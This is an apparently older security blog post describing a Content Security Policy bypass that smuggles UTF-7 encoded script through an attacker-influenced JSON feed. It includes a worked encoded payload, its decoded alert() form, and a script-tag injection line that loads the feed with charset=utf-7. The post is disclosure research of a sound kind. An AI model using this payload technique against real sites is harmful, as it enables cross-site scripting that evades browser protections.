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title: Bypassing CSP for fun, no profit
description: "A Content Security Policy bypass using UTF-7 and JSON. Any site with a JSON feed an attacker can influence can carry fully UTF-7 encoded script, because the encoding conceals quotes and other string characters from correct JSON escaping. Referencing the feed with a script tag and charset=utf-7 executes it as same-origin code, so CSP's restrictions do not apply."
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# Bypassing CSP for fun, no profit

**Bypassing CSP for fun, no profit** - Gareth Heyes, thespanner.co.uk.

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## Content

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# Bypassing CSP for fun, no profit

By Gareth Heyes ([@ hackvertor](https://garethheyes.co.uk/))

Published 16 years 8 months ago • Last updated March 22, 2025 • ⏱️ < 1 min read

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I had fun at Confidence 2.0 CON, I'm gonna blog about the stuff I was holding back now :)

So I figured how to bypass CSP with UTF-7 and JSON. Basically any site with a JSON feed that can be manipulated by an attacker (reflective or persistent) can be injected with even in a correctly escaped JSON feed.

Utf-7 can be fully encoded meaning that you can conceal string characters and others. 'ABC' becomes +ACcAQQBCAEMAJw-. So if we look at a fictional JSON feed such as:- [{'friend':'something',email:'something'} ]

If we can influence the "something" parts then we inject the feed with our data to bypass CSP:- [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb wBiACcAOgAnAGQAbwBuAGU-'}]

This is what the code looks like when decoded:- [{'friend':'luke','email':''}];alert('May the force be with you');[{'job':'done'}]

We then inject the data by referencing it using a script tag and a charset:-

 <pre lang="javascript"> "><script src="http://some.website/test.json" charset="utf-7"></script> </pre>

This successfully executes in CSP bypasing it's restrictions because the code comes from the domain itself and doesn't use in-line or attribute based XSS.

As always as demo is available here:- [CSP bypass](http://www.businessinfo.co.uk/labs/cspluke/test.html)

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